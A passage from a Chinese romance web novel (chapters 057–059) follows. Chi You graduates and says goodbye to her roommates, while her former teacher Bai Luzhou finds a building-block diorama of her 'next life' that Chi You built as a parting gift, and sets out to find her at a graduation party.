林慕橙终于想起来了,“对对对,我认得你,你是上个月才出席了全国作者大会的柴门雪大大,上热搜了的,我记得!” 柴以曼也没想到还没来得及和池柚打招呼,就要先和她的舍友打招呼了,“柴门雪是我的笔名,我本名叫柴以曼。初次见面,我是……是小柚子的朋友。” 池柚很坦荡地介绍:“她是我妈给我介绍的相亲对象,现在确实还是朋友。” 黎青干咳一声,说:“别围在这儿了,大家该干嘛干嘛去。” 林慕橙和程枣枣也意识到不能打扰人家相亲,连忙匆匆打过招呼就散了。 黎青和宋七月也走开了。俩人拿了外套,又出了门,去操场散步。 等人都走完了,池柚呼出一口气,看向屏幕里的柴以曼,“刚刚那么久,姐姐应该看清我长什么样子了,我就先挂了。” 柴以曼:“别急。” 池柚:“还有什么事吗?” 柴以曼:“刚才没认真看,再给我十秒。” 池柚便乖乖坐着,让柴以曼再看十秒。 十、九、八、七、六…… 她默数着结束这段视频通话的时间。 “小柚子。”柴以曼忽然叫她。 池柚钝钝地抬头,“啊?” 柴以曼:“你的右眉毛里,是不是有一颗痣?” 池柚摸了一下自己的右边眉毛,“好像是有。” “嗯。” 柴以曼点了点头。 “那我的女主画像,她的右眉毛里,也会有一颗痣的。” 池柚:“这一次的画像吗?” “当然,这一次。” 十秒已到,柴以曼遵守诺言,抬手放在了挂断键上。 在按下去之前,她忽然笑了笑,又说: “也或许以后,每一次。” 第057章 “妈呀, 她也太会了吧!” 宋七月在听完池柚如实交代的和柴以曼的所有交流后,惊叹道。 池柚懵懵地:“会?会什么?” “撩妹啊,”宋七月殷切地坐到池柚旁边, 侃侃而谈,“你不觉得她很苏吗?要是我, 我都被撩得不行不行的了。” 黎青笑了一声。 宋七月:“笑屁啊你。” “我告诉你, 小柚子, 你完了。” 宋七月信誓旦旦地说。 “哦不不,应该说你好日子要开始了。多完美一人啊,我给你说你陷进去是迟早的, 你要是喜欢白鹭洲,你没有理由不喜欢这个柴以曼呐。而且柴以曼更好,起码她的眼睛是看着你的,不像我表甥孙女的眼睛, 看天看地就是不看你, 你就等着吧,你早晚会喜欢上她。” “是吗?” 池柚迟疑地问。 宋七月:“肯定的。” “哦……” 池柚点点头。 既然宋七月这么说,那她就再努力接触接触吧。 虽然到目前为止,她还是心无波澜。 后来, 池柚收到了柴以曼发来的广播剧女主人设图。她回柴以曼, 这不就是我的样子吗,不是说只参考不完全一样的么。柴以曼说因为你长得很可爱很漂亮, 依照你画在海报上只会吸引更多听众购买, 所以值得完全还原。 她很礼貌地回句谢谢。 柴以曼又说,还有另一版稿子, 如果池柚不愿意的话,她一定尊重池柚的意愿。 池柚回复说无所谓。 她没有说行, 也没有说不行,而是无所谓。 她确实不在意这件事。这种事在她这里,还不足以进入她的大脑让她去思考妥不妥当。或许是她不觉得这很重要。也或许是她* 本质上还是不太在意柴以曼,所以对有关柴以曼的所有事都提不起什么兴趣。 所以,池柚得出了结论。 ——严谨一点,因为目前只接触了这么多,所以应该叫做“阶段性结论”。 那就是: 新欢没用。 一个人的时候,深夜的时候,她的脑子里还是只有白鹭洲。 白鹭洲在做什么呢? 在吃饭,睡觉,还是看书,做饭,玩手机,工作,看电脑? 下一次见面会在什么时候呢? 是不是只有她带上柴以曼,才有一个借口再见到白鹭洲? 可是那样做,对柴以曼公平吗? 不公平的,她知道。 她曾经发过誓,不会把任何一段感情当做工具,自己没有收拾好,就不会去耽误任何一个人。所以她清楚,还不是时候。 她可以和柴以曼聊天、见面、吃饭,但是,绝不可以更进一步了。 池柚同样把这物化为一个课题,她给这个课题定了一个时间。 三个月。 如果三个月后她发现自己还是没有办法喜欢上柴以曼,就和柴以曼说明白,结束接触。 她把这个决定坦诚地告诉给了柴以曼。 柴以曼又发了个小猫支下巴的表情包。 她仍旧温柔又优雅。浅浅淡淡地,却又柔柔软软地,说:好呀,随你。 就这样,在和柴以曼聊天、准备新报告、等待答辩的日子里,时间一天一天过去。 答辩很快到来。 也很快结束。 人们专心等待的大日子往往过去得很平淡,甚至留不下什么深刻的记忆锚点,就在紧张和浑浑噩噩中,时间既慢又快地消逝掉。恍惚一转眼,这一天就已经过去了。 答辩对于学生们来说多少算是一个转折点。尽管它到来的那一天看起来显得很平凡,然而跨过去了,生活的心态都会瞬间不一样。 ——当然仅指在校的生活。毕业后的苦恼还排着队在等待着,虎视眈眈地预备给学生们的心态多来几轮磋磨。 于是,毕业前等待毕业证的这段时间,就是最后的狂欢。 拍毕业照,举行毕业典礼,还有,毕业典礼当天晚上,医科大与师大联合举行的学生专属夜场狂欢派对。 这一天,宿舍全员到齐。因为必须得到齐,毕业典礼么,由不得谁不来。 几个人参加完毕业典礼,去到学校各个地方拍照。教学楼,图书馆,林荫小路,喷泉广场,所有她们一起上课时走过的路,她们都穿着硕士服去拍了毕业照。 拍完一天下来,回宿舍都六点了,累得所有人窝在椅子里不想动弹。 池柚揉着酸痛的脚踝,试探着问:“要不那个派对就,不去了……?” 林慕橙摆手:“哎不行,得去,我都和学生会的学弟说好了。人家再三确认咱们宿舍是不是全体到场,酒水都是按份数提前买的。” 程枣枣:“你可真有精力啊你。不过咱确实也得考虑考虑小柚子,人家本来都不想参加这些乱七八糟的活动,能陪着咱拍一天照就不错了。” 林慕橙看向池柚:“那要不小柚子你休息,我们去就行。” 黎青端起保温杯喝了一口水,说: “还是去吧,最后一次集体活动了,以后恐怕很少有机会再聚一起。” 林慕橙不以为然,“咱都在云州,怎么会没机会呢。” 黎青笑了笑,“那是枣枣、你、我。小柚子应该是要出国了。” 程枣枣:“啊?” 林慕橙:“哈??” 池柚愣住,看向黎青。 “黎师姐,你、你怎么知道的?” “不好意思,不是故意偷听的。” 黎青放下保温杯。 “那天刚好在床帘里睡觉,听到你跟那位姓柴的大作家发语音消息,在聊之后出国去瑞典的安排。” “我……” 池柚不知道该怎么解释。 她其实没有确定要出国,只是柴以曼和她聊天难免会聊起这个事。池秋婉早就告诉过她了,柴以曼也有出国的打算,这也是撮合她俩的原因之一。 但她也没办法信誓旦旦地告诉朋友们,她一定不会走,因为她自己也不确定。 而解释只要出了口,不管是怎样的内容,其代表的意义多少都有否定的意思。 这样的暗示她没法给。 她不愿给了别人希望,最后却又有要剥夺走的可能。 程枣枣:“那既然这样,今天小柚子就去吧,最后一聚了嘛。” 池柚迟疑了一会儿,点头,“好……好。” 林慕橙突然有点伤感,吸了吸鼻子,“你个小丫头片子,闷声做大事啊,给我们瞒得死死的。” 池柚抱歉地笑了一下,也不知要说什么才好。 “池柚。” 黎青连名带姓地喊池柚。 池柚咽了咽喉咙,看向黎青。 “下次见面不知道是什么时候了。所以现在,我有话该说就说。我真的很喜欢你,无关风月的那种,单纯的,纯粹的,对一个优秀的女孩子的喜欢和欣赏。所以我总是对你的生活很好奇,很想参与进去,多了解一些。于是导致我擅自插手过你很多事。我好像,一直忘了和你说一句,抱歉。” 黎青从来没有和池柚说过这么长的一段话。 她缓了口气,嗟叹。 “看来这个季节,分别不只是关于爱情的,也是关于我们的同窗情。我真的、真的希望,以后见或不见,你都可以在你的领域做出杰出的成绩,收获令你自己满意的成果,找到一个真正合适的人,快快乐乐地活着。” 池柚忽然眼睛红了。 黎青仍然笑着,万年不变的温柔的笑。 她看着池柚,轻声问: “快乐一辈子,可以做到吗?” 直到黎青这番话说出来,池柚才真切地感受到了“毕业”这两个字背后代表着什么。 如果比喻成书,她和黎青各为两本小说的主人公,那么现在,就意味着她们要作为彼此书中的配角,即将下线。 又要说“再见”了。 又要开始给对方送上漫漫余生的祝福了。 可要是出国,就无可避免会是这样。她必须要和国内的一切亲朋关系逐一道别。 要说很多很多“再见”,要送很多很多祝福。然后离开。曾经在一间宿舍里亲密无间的朋友,离别之后,连她们墙上挂的时钟都不再是同一个时间。 池柚很难过。 似乎只要是能扯动她灵魂的分别,就会让她难过。 不论是多细的线,不论线的那头牵着的是爱情、还是友情。 在离别的氛围中,她们比平时更安静地换好衣服,一起打车前往夜场狂欢派对的地点。 那有宽阔的场地,有烤肉台,有露天K歌,有DJ打碟。有吧台,有泳池,有黑暗,有在黑暗中游走的五彩的灯光。 还有好多好多的人,举着杯,玩着水,拿着麦克风嘶吼着一首歌。 有人泡在水里,将一份份打印过的论文纸稿撕碎,扬上天空,打起水花浇灭它们。 有人仰着脖子咕嘟咕嘟地给自己灌酒,酒从嘴角流到下巴,打湿了衣领。 有校园情侣分坐在小茶几两边,在红着脸小声商量毕业后的去处。 不知道是程枣枣还是林慕橙把消息漏了出去,所有认识池柚的人,不论交情深浅,都举着酒杯来和池柚告别。祝她出国顺利,学业有成,前程似锦。 池柚听着一声声祝福和一声声“再见”,喝下了每一杯敬她的酒。 她坐在泳池边的沙发里,醉眼朦胧地看着这场才刚刚开始的派对。 今天会进行得很晚,通宵也说不定。而她醉得很早,旁观着所有人在这方小小天地的狂欢,不禁想: 如果她尝试学习一下狂欢,她的狂欢会是什么呢? 是继续喝酒,喝到烂醉如泥。 还是抢过那个麦克风,哭给全场所有人听。 或是穿着衣服跳进泳池,把头埋进水里。 都不是。 这一切,虽然疯狂,但都不能让她感受到真正的释放和快乐。 她不禁想: 她今天,会等到属于她的狂欢吗? 在醉意下,她看见了坦荡开阔的、一览无余的内心深处的欲望。 清清楚楚地看见了。 在想到“狂欢”这个字眼时,她的双眼里,有白鹭洲的身影。 第058章 白鹭洲的这场病, 直到一个月后才稍见起色。 她终于能起床下地了,不用再打吊瓶,也不用爸爸帮忙找的保姆来帮忙照顾。 这让她自己也缓了一口气, 她真的很不习惯家里有陌生人来来去去。 她能自由行动之后,第一时间遣散了偶尔来的医生和经常来做饭的阿姨。尽管身体还是很虚弱, 她仍然坚持自己一个人, 起居, 吃药,做饭,慢慢恢复。 白鹭洲恢复到能出门的那天, 刚好是池柚毕业典礼的那天。 她没有忘记池柚给她的那枚钥匙,也没忘记池柚那天和她说的话。 ——“有时间务必去那里看看。就当是给我这实在太长太长的课题,做一个结课仪式吧。” 好巧。 结课仪式,毕业典礼, 这听起来似乎是同一件事。 白鹭洲在下午四点的时候就吃完了晚饭。吃得很清淡, 就两片面包和一个苹果。 她没什么胃口,也没有太多力气去厨房开火。更何况,她还挂念着别的事。 …… 其实,那天餐厅对话以后, 不仅是池柚不敢再见到白鹭洲, 白鹭洲同样也不敢再见到池柚。 见到该说什么呢。 该用什么样的表情呢。 不知道。 所以要搁在平常的某一天,白鹭洲未必有勇气前往池柚家的地下室。但今天不一样, 今天池柚一定在学校参加毕业典礼, 毕业典礼后还有一个两方学校学生会联合举办的活动,这活动白鹭洲听师大的学生提起过。池柚应该也会跟着舍友一起去。 这样的话, 她再前往,就不必担心会有碰到池柚的可能。 吃过饭, 白鹭洲拿上钥匙,站在电梯前。 思索了片刻,还是没有按B1层,而是按了1层。 她现在的身体还是别再勉强了。 打车吧。 不折腾了。 去的路上,白鹭洲望着车窗外无数一闪而过的高楼大厦与喧闹繁华,想到要去往的那个地下室,大脑里开始忍不住猜测地下室里的东西。 当年她从风言风语里听说过孙金文的往事,大概知道孙金文在地下室都干过些什么。据说警察查封地下室那天,整栋楼都封了,里面的居民都被请出去隔在了封闭线外。 因为现场太惨烈了,怕居民一不小心围观到一点,就精神出问题。 池柚身体里一半的血继承于孙金文,地下室的钥匙也继承于孙金文。那…… 她在地下室的行为,会不会继承孙金文呢? 白鹭洲相信池柚。 但她只敢相信,池柚能送给她的礼物一定是寄托了好意的。她猜不到这份好意的表达形式,是不是合常俗伦理的、普通人能够接受的形式。 而且到底是什么样的礼物,不能被轻易地带在身上直接交给她,只能放在地下室等她亲自来看? 脑子里不可控制地出现一些越来越不好的想象。 不能带出来,一定有不方便带出来的理由。 为什么会不方便。 还有什么特征能让这个东西“不方便”。 似乎不敢细想。 白鹭洲对池柚的底线已经拉到了最低。她想,只要不涉及违法犯罪行为,一会儿看到怎么样的场景,她都接受。 希望池柚的天性中的刀鞘一直包裹着她。 希望她的恶,没有压倒过她的善。 一边这样祈祷着,心里深处,一边渐渐建设出了一些具体的构想。 她不可避免地想到了两种可能。 第一种,好一点。 池柚也许会想要通过这最后的礼物,来向她进行最后一次热烈而磅礴的示爱,将所有没诉说完的爱意充分地展示,证明自己是真的喜欢她。 另一种,差一点。 结课仪式,这个词语,可以是对一段旅程美好的告别与对未来的希冀,也或许,有可能,渗透着“破釜沉舟、玉石俱焚”这样的惨痛态度。 不管是好是坏,打开门,就知道了。 白鹭洲走到单元门口,握着钥匙盯着黑洞洞的楼口,用手背掩住嘴又闷闷地咳了一会儿。 她不怕尸检报告里血腥的图片,但并不代表她的接受能力已经高到了和池柚一样的程度。她还需要一点时间来做心理准备。 做心理准备的时候,她又想到,如果里面既不是示爱,也不是玉石俱焚,有没有可能只是一些简单的祝福呢? 池柚会想要送给她什么样的祝福? 祝她工作顺利?身体健康? 还是祝她早日找到一个合适的人? 又或是升职、发财、天天开心? ……想象不到更多的了。 人世间的祝福,好像无外乎就是这些。 不知不觉,她站到了六点半。暮色四合,华灯初上。 白鹭洲抬起头,看着大楼零星亮起的几个窗户,咽了下干涩的喉咙。 大楼像一只调酒师手中的玻璃杯,堆满一整杯方方正正的冰块。有的冰块被握杯子的手指环住,所以幽暗;有的冰块透出了指缝中的如昼灯光,所以明亮。 池柚家的窗口是被手指环住的冰块,漆黑一团。 看上去不仅池柚不在,池秋婉也不在。 白鹭洲意识到自己不该再耽搁下去了。 因为她发现,她站在这里迟迟不肯踏出一步,或许并不是真的在害怕地下室里的东西,也不是非要猜出一个准确的结果才要进去。 这份礼物无疑是一个收尾的举动,她打开门、拆开包装、完成这个仪式,也就说明——真的都结束了。 池柚对于感情的结束在于她将钥匙交给白鹭洲的那一瞬,而白鹭洲的结束在于用钥匙打开地下室的这一瞬。她的结束注定要比池柚有滞后性。 就是这一点点的滞后性,让她的潜意识里,竟然生出了一点点的留恋。 然而她不该留恋的。 白鹭洲斩掉脑中的乱麻。 不再多想,握紧钥匙向地下室走去。 站在地下室门口,白鹭洲深吸了一口气,将钥匙缓缓推入锁孔。停滞了两秒,才转动下去。 吱呀—— 门被打开。 门打开的同时,地下室里的感应灯光立即亮起。 在光的泄洪下,一切,一览无余。 白鹭洲在看见里面的东西时,愣了很长很长的一段时间。 她的手还停留在转动到底的钥匙上,忘了松开。 半晌。 她忽然弯起唇角,唇缝里溢出一声短促的笑。 地下室很大,有一间客厅那么大。 却一点都不空,因为被一样东西填满了。 不是血,不是肉,不是骨头。 不是气球,不是鲜花。 不是恐怖与血腥,也不是表白与浪漫。 是积木。 庞大的积木量绕着宽阔的地下室整整一圈,放在定制的同样绕房间一圈的桌子上。从进门开始,顺着往前走,绕场后回到门口刚好可以看到结尾。像一副立体的现代清明上河图,有街道,有河水,有高楼建筑,还有许多许多积木小人。 白鹭洲慢慢地向前走了两步,低头仔细看。 她很快发现,这个积木世界里,是有主角小人的。 一个圆头圆脑的小姑娘,从出生为一个婴儿开始,被爸爸妈妈如珍宝似的抱在怀里、放在婴儿车里,有时抱着她在住宅楼下逗小狗,有时推着她在公园散步,温馨而日常,普通又不普通。 再往前走,小姑娘慢慢长大,更可爱了。背上小书包,开始上学。 学校里,很多小孩子都来和她做朋友,牵着她的手,给她分享零食,拉着她一起跳皮筋、踢毽子。老师也很喜欢她,给她亲手戴上红领巾,让她站在升旗台上做那个众人艳羡的演讲者。 看到这里,白鹭洲似乎明白了什么。 积木小人是池柚。 这里,是池柚的下辈子。 池柚曾说过,如果有下辈子,她希望可以做一个出生就普通而平凡的人。正常地长大,不受人白眼,朋友环绕,世人友好。 白鹭洲不禁想:这套积木里,会有我吗? 会在哪个截点出现呢? 她继续向前走。 积木小姑娘又长大了一些,进入大学。家里的长辈与隔代长辈都来送她,这个帮忙买一床被子,那个帮忙买一个热水壶,恋恋不舍地拥抱她、与她告别。 大学里,积木小人还有许多追求者,但她很傲娇,都一个个拒绝了。追求者们捧着鲜花垂头丧气地离开。没多久,却又锲而不舍地涌来,仍在她的宿舍楼下高举蜡烛和玫瑰,尽管最后她一个也没有选择。 再大一些,积木小人走入了社会,成为了很优秀的职场员工。老板喜欢她,一直带着她向上走,贵人们纷纷而来,助她不费力气地平步青云。 接下来是婚姻。 因为积木的草坪上,开始出现了花篮和气球。 白鹭洲闭了闭眼,才继续走。 积木小人站在花童身后,跟着白鹭洲一起向前走。 路的尽头,那个等着牵她手的人,池柚会做成白鹭洲的样子吗? 白鹭洲好像在和积木小人一起忐忑着。 花桥下,神父的旁边。 有一个白色的身影,端庄而肃穆地站着,等待着新娘的到来。 白鹭洲先一步到达了路的尽头。 她出神地望着,无意识地伸出手去,指尖点在了那个等待的小人脸上。 …… 小人没有脸。 没有头发,没有装饰。 甚至,没有一件能代表性别的衣服。 就是光秃秃的、最普通的一个白模。 这一刻,白鹭洲的心晃了晃。 她忽然有一种预感。一种摇晃的预感。 她继续走。 结婚后,积木小人和白模小人幸福地生活在了一起,从二三十岁,到四五十岁,再到七八十岁。虽然有时候会吵架,冷战,忙碌,但最后都会和好,彼此红着脸拉着手,鞠着躬道着歉,亲密地诉说爱意,从未分离。 ta们没有孩子,可ta们的感情似乎已经无所谓有没有孩子了。 生活不挤,已然填满的心却不再需要更多的纽带来证明。 ta们一起去看望亲人,一起和朋友们出游旅行,一起在繁忙的夜晚陪在对方身边工作,一起在生病时吊盐水、吃外卖。 一辈子很快,时光的流逝逐渐变成ta们脸上几条彰显衰老的皱纹。简单的线条里,是携手走过的每一年、每一天、每一分、每一秒的踏实岁月。 最后,ta们和所有的亲朋一起坐在公园的长凳上,白发苍苍,充满希望地等待天边即将升起的太阳。 一路走下来,积木小人的一生真的平凡而幸福。 家人们环绕在侧,朋友们时常相聚,爱人不离不弃,事业蒸蒸日上。身体健康,无重疾无意外,苍老之时,生命中的重要之人也没有一个离开。 这是很长、很好的一生。 作为主角的一生。 被所有人坚定选择着的、被世界无限偏爱的一生。 白鹭洲站在积木的终点,呼吸颤抖。 她终于知道她预感到的是什么了。 她红着眼睛,抬起手,摸了摸伫立在尽头的一块铭牌。 那是这副积木作品的名字。 是池柚亲手刻上去的端正的七个字. 【白鹭洲的下辈子】. 那个积木小姑娘,不是池柚。 是白鹭洲。 这里,是白鹭洲的下辈子。 …… ——“这是一盒散装积木块,你想拼什么就自己来。” ——“积木是造物的好媒介。只要砖块够多,你可以拼出你想要的任何东西。” ——“有些东西很贵,或者很虚幻,你这辈子也拿不到真的。” 所以去拼下辈子吧。 ——“老师,我想不出来拼什么。” ——“老师,如果您有下辈子,您下辈子想怎么样呢?” 那一年,白鹭洲不愿去想这个问题。她说过,只有这辈子得不到的遗憾,人们才会将之转换为心愿,付诸于来生的期望中。而“遗憾”两个字,不堪深想。 她也记得,暑假补课结束时,池柚在她们分别前,握着那盒积木第二次问她:“您的下辈子,有什么想要寄过去的遗憾吗?” 她依旧没有回答。 她现在也无法回答。 因为她从未敢真正正视自己的内心。就算有一句话写成了微博,她也从不敢去真正深想过什么。 可是她不敢做的事,池柚竟然去做了,将她凌厉地看穿了,看破了,真正摸透了,她那不被坚定选择过的一生。 不知道用了什么方法,不知道用了多少年的时间。 这套庞大的积木有新有旧,跨度绝对不止是三年。 而在这套积木里,除了表面的那一层含义,白鹭洲也读懂了池柚的另一层意思。 它送上的祝福,不只是希望白鹭洲会被选择与偏爱,还有…… 还有…… 白鹭洲连眨了好几下眼睛,用所剩不多的克制在忍耐,远远地望向积木的全景。 一直以来,她都会刻意地淡化自己的苦难。她会把微博的个签和心里的个签都改成那句话:“世间不淹没过生死的起伏,都该是一种常态。” 她会告诉自己:世界上还有很多真正在水深火热的人,那些连饭都吃不饱睡觉都找不到地方的人难道不比她过得苦吗?所以,大多时候她不允许自己难过,她觉得那是矫情,是不知足,是不够坚强。 然而追根究底,这种过度的豁达,其实是因为没有足够的安全感。 因为从来没有人会真正地来体谅她、走进她、锲而不舍地拽住她。 所以,她用潜意识告诉自己: 如果没有人来救我,那么只要我将我自己定义为身处地狱之外,我就不需要人来救。 可是眼前的这一套积木世界告诉她: 不要轻视你受过的苦,不要蔑视那个在苦难中挣扎过来的你自己。 哪怕,是外人看来很小的伤口。 哪怕,就是贪心地想要那么一点点的偏爱、那么一点点的安稳、那么一点点的健康。 别人遭受过的灭顶之灾可以放进“下辈子的愿景”中,你的小小伤口,也值得放进去。 你不高兴的时候可以觉得委屈,失落的时候可以期待更多,想哭的时候,可以哭。 所有人类正常的欲、贪、悲,你都可以允许自己拥有。 别做个假人了,白鹭洲。 别逼自己了,白鹭洲。 希望你,也学会做一个普通人。 炽灯管下,白鹭洲的手指紧紧地按在刻着“白鹭洲的下辈子”的铭牌上,终于忍不住了,眼泪顺着眼尾一痕一痕地落。 她发现,她一直以为池柚很天真很幼稚,也不知道什么时候可以变得成熟。因为池柚好像永远都不能成熟,所以她只能为池柚做一个引路人。 可没想到,真的没想到。 现在轮到池柚,做了她的引路人。 她错了。 天真,并不等同于幼稚。 这一刻她无比清晰地意识到,池柚很成熟。至少,比她成熟。 她穷极一生攀过无数山巅仍旧学不会的与自己和解,池柚帮她学了,替她答了,做出了最优秀的成绩单,送给她了。 白鹭洲将手蜷起抵住额头,肩膀不停地抖,眼泪湿透了下巴。 哭着,哭着,她的嘴角却蓦地弯起,在泪眼迷蒙中酸涩地笑了一下。 怎么会这样呢。 她忽然发现—— 她好像,找到那把尺子了。 第059章 丈量一个人是否成熟的尺子可以有很多种, 只是一直以来,白鹭洲都找不到适合池柚的那一支。 但今天,面前这一条整整环绕地下室一圈的积木, 白鹭洲很肯定,这就是那一支了。 池柚对她的理解太深刻了。 而“理解”, 是要比单纯的“爱慕”更高维度的东西。 喜欢一个人, 可能是不成熟的痴迷, 是一见钟情的头脑发热,是着迷于色相的疯狂,是对某种特质的定向依赖。 可是“理解”, 它需要理性。 理性是痴迷、发热、疯狂、依赖这些所有极尽热烈的火焰燃烧之后,余烬中剩余的坚硬的骨骼残骸。 许多人困惑一生,无休止地争吵、争辩、争夺,也没有在爱情中学会这一点。而池柚, 这么小的年纪, 连一段真正的爱情都没有经历过的时候,就已经懂得了这样做。 不去争一个我对你付出太多而你却对我付出太少,不去纠结是你负我还是我负你,不声嘶力竭地倾诉, 你是不是对不起我, 是不是忽视了我,是不是误解了我。 而是穿过所有感情的皮相与迷惑, 看到了白鹭洲心底最深处的郁结, 然后坦然而温柔地说一句:我都理解。 所以迁就白鹭洲的一切不合理要求。 所以从不生气,离开时也没有吵架, 还在关注白鹭洲的情绪。 所以,永远像个傻子一样懂事。 白鹭洲心甘情愿地承认了。 池柚是成熟的, 是理性的,她懂是非、明事理,足以对自己说的话和做出的承诺负责。 白鹭洲感到情绪里开始同时滋生出愧疚与喜悦。她意识到,眼前的一切说明着池柚大概率是真的明白自己的感情,池柚是真的爱她,她可以再也不用担忧有关师德的事,她们终于可以作为两个独立的灵魂去尝试靠近。 然而,与之俱来的,生出了更多的忐忑。 她没忘记,这份好不容易让她丈量清楚池柚灵魂的尺子,是池柚送她的告别礼物。 她等待已久的故事起始,却是对方的结束陈词。 现在……会不会已经晚了? 白鹭洲现在真真切切地有了要弄丢某样珍贵的礼物的感觉,这感觉来得汹涌又突然,冲得她出了好一会儿的神。 等她如梦初醒地记起眨眼,她发觉,自己一秒都不该再多耽搁。 去找池柚吧。聊一聊,虽然她这会儿心乱得也不知道该聊什么。 先找吧,就现在。 她关好地下室的门,仔细反锁,认真地收好钥匙,然后打电话给手机里所有认识池柚的人,询问清楚池柚现在的位置。 她很后悔,这几年为了态度更明确地拒绝池柚,从来都没加过池柚的微信,也没留过池柚的电话,现在想找到她,居然需要绕这么大的圈子。 最后还是宋七月告诉她,池柚去了两校联合的夜场狂欢派对,还没回去。 白鹭洲问到了派对的地点,打车前往。 在车上,她仍未从刚刚的震撼中完全缓过神来。靠在椅背上,闭上眼,眼前全是那套积木一点一滴的细节,挥散不去,历历在目。 她第一遍看时,还不知道那个作为主角的积木小人是她自己。现在从头回想,她便忍不住代入了进去。 越是回想起更多的情节,心里便越是漫上莫大的暖意。 环绕在侧的家人……时常相聚的朋友……不离不弃的爱人……轻易托举起她平步青云的事业…… 偏爱……安稳……健康…… 缓缓地,从未有过的温暖从头到脚地包裹住她,暖得她感觉到眼眶又热了。像打开了某个闸,以往存蓄克制了多少委屈,现在统统都要一瞬涌出。 好在她尚存理智,没有让自己的状态太狼狈难看。 白鹭洲揉了揉发红的眼尾,身体受了情绪的刺激,不禁捂住嘴咳了一会儿。 胸口有一条筋被扯着,有点疼,麻中带痒。又很舒服,说不上来的奇妙感觉。什么东西在痊愈,在复苏,在将修复带岌岌可危地搭连在还不太牢固的断裂点上。 情绪的大幅翻涌对白鹭洲来说是一件陌生的事,包括情绪勾连起的身体的反应。以往她也失落过,但失落也会被她压得淡淡的,这次却浓烈异常。烈得她压不住,也不想再去压。 在等待抵达目的地的时间里,白鹭洲有一点无措地摩挲着自己的手指根部,不着痕迹地很慢很慢地深呼吸。 她用生疏的肢体动作和强制平稳下来的吐息,去学着适应这种感觉。 不太好受。 可是,却让她第一次感觉到,自己在真真切切、有血有肉地活着。 作为一个普通人活着。 拥有贪、欲、悲地活着。 …… 两校联合举办的派对在一个稍稍偏远的地方,是个类似于海边别墅的场地,有楼,有各种娱乐房间,有供人休息的客房。院子很大,填满了许多娱乐设施,还有巨大的泳池。 两个学校的毕业生聚在一起,不仅是研究生,也有今年即将要毕业的本科生。人头攒动,什么声音都有。唱歌声,交谈声,大吼大叫的发泄声,酒杯碰在一起的动静从四面八方传来,哭的笑的闹的,吵得人恍惚。 白鹭洲下了出租车,站在门口,第一时间意识到,自己想找到池柚需要花费很多时间。 人真的太多了,也太乱了,光线昏暗,大部分人又都在移动,要找一个人非常难。 门口的师大学生认出了白鹭洲,一见是老师,吓得酒都醒了三分。 “白教授?!你、你……” 学生想上前又不敢上前的。 “是有什么事吗?是不是我们闹得太疯了,学校那边让您来……” 白鹭洲示意对方稍安勿躁,“不是,我就是来看看。” 师大学生战战兢兢地往场地里* 看了一眼,“那我去找一下学生会长,告诉他您来了。” “不,”白鹭洲摇头,“不用惊动别人,我只是来找个人,你就当没看见我。” “这……” 白鹭洲看懂了学生脸上的纠结,知道他们这样的纯学生派对,怕老师在场会变了性质。尽管只有她一个老师,安安静静地找个人,所有人也会因为看见她而紧张。 “我就进去十分钟,找到人就走,找不到也离开,可以吗?” 师大学生哪儿见过白教授这样低姿态地说话,末尾还用“可以吗”这样请求的句式,忙说:“没事没事,其实上过您课的人的比例也没有特别大,您找就好,随便找。” 白鹭洲:“谢谢。” 师大学生:“不不不,您别谢。”真够受宠若惊的。 白鹭洲向那个学生点了点头作为告别,然后向里走去。 她先沿着泳池找,泳池里的人多得跟下饺子似的,有人还在玩水枪。她经过时,被不止一次滋到过。一圈走下来,发尾都湿得向下滴水。 有些上过她课的学生看见她,会一脸惊讶地磕巴着和她打招呼。但更多的学生以为是自己的错觉,在酒精迷醉中、昏暗灯光中的错觉,瞥她一眼便大笑着继续玩了。 在泳池走完一圈的时候,白鹭洲没找到池柚,但先找到了黎青和宋七月。 也不知道宋七月这个外校人是怎么混进来的。她泡在泳池里,趴在边上喝酒,喝多了,已经晕睡了过去。黎青正蹲在岸边,将湿漉漉的宋七月抱出来。 黎青一身衣服本来是干的,抱住宋七月,也将她自己弄湿了。但她丝毫不在意,全部注意力只在宋七月身上,小心地护着宋七月的脖颈和头。 泳池的水淹在她的衣服上,她身上一直有的那股消毒水味被浸得浓了一些。 白鹭洲走到跟前,发现自己不知道该怎么称呼黎青,踌躇片刻,选择直接问问题。 “打扰了,你……见过池柚吗?” 黎青对白鹭洲的出现似乎不怎么意外,应该是宋七月和她通过气了。 她抬眼看了下白鹭洲,说:“刚来的时候见过,后来走散了。白教授,在这儿找人恐怕不容易,要不等明天,等池柚回家了你去她家里找?” 白鹭洲不置可否,只说:“我再去找找吧。” 黎青便道:“她应该不太可能在楼里,你沿着舞池、酒台、还有那边的休息区找一下试试看。实在找不到的话,你可以去喝杯酒。” 白鹭洲:“谢谢。” 黎青:“白教授。” 白鹭洲正要走,听到黎青又唤她,便停下来。 黎青将宋七月放进藤椅里,掸了掸身上的水珠,看着白鹭洲,“你要是回心转意了的话,可能得抓点紧。” 白鹭洲皱了皱眉,“什么意思?” 黎青轻轻地笑了一下,“就是这意思啊。” 白鹭洲:“……没有详细一点的解释?” 黎青:“没有。” 黎青偏了偏头,锐利的目光审视着此刻的白鹭洲。 “不过你好像没有否认‘回心转意’这个说法。” 白鹭洲直视上黎青的眼睛,选择坦白: “我不否认。” “哦。”黎青了然地点点头,不再多问,转身去继续照顾宋七月了,“那祝你顺利。” 白鹭洲抿了抿嘴唇,“七月喝多了,早点带她回去。” 黎青没回头,背对着白鹭洲点点下巴:“好,谢谢。” 和聪明人的谈话便是如此。没有太多语气助词,不用等待对方的情绪缓冲,不必接受对方的详细盘问。三言两语,彼此都懂,也都无需再多言。 告别了黎青,白鹭洲顺着黎青提供的路线接着找。 舞池、酒台、休息区。 只是一圈找下来,也还是没找到池柚的半个影子。 白鹭洲走得太累了,脚踝又开始疼。 她想起黎青说的:找不到就去喝杯酒吧。她不太想在这个时候喝酒,但也确实渴了,还没痊愈的喉咙已经干烧了很长一段时间,未痊愈完全的身体似乎又到了临界值。去吧台看看有没有别的饮料也好。 她走到露天吧台边,找了高脚凳坐下。 调酒师是学生会长找来的一个师大学生,这个学生曾经在酒吧兼职过,会调酒,刚好在这里发挥一下余热。他上过白鹭洲的课,一眼就认出了白鹭洲。 “白教授!”调酒师惊诧地睁大眼睛。 白鹭洲没有余力再多做解释,只疲乏地问:“不含酒精的饮料有吗?” 调酒师:“您怎么——有,有有,我给您调一杯。” 白鹭洲:“谢谢。” 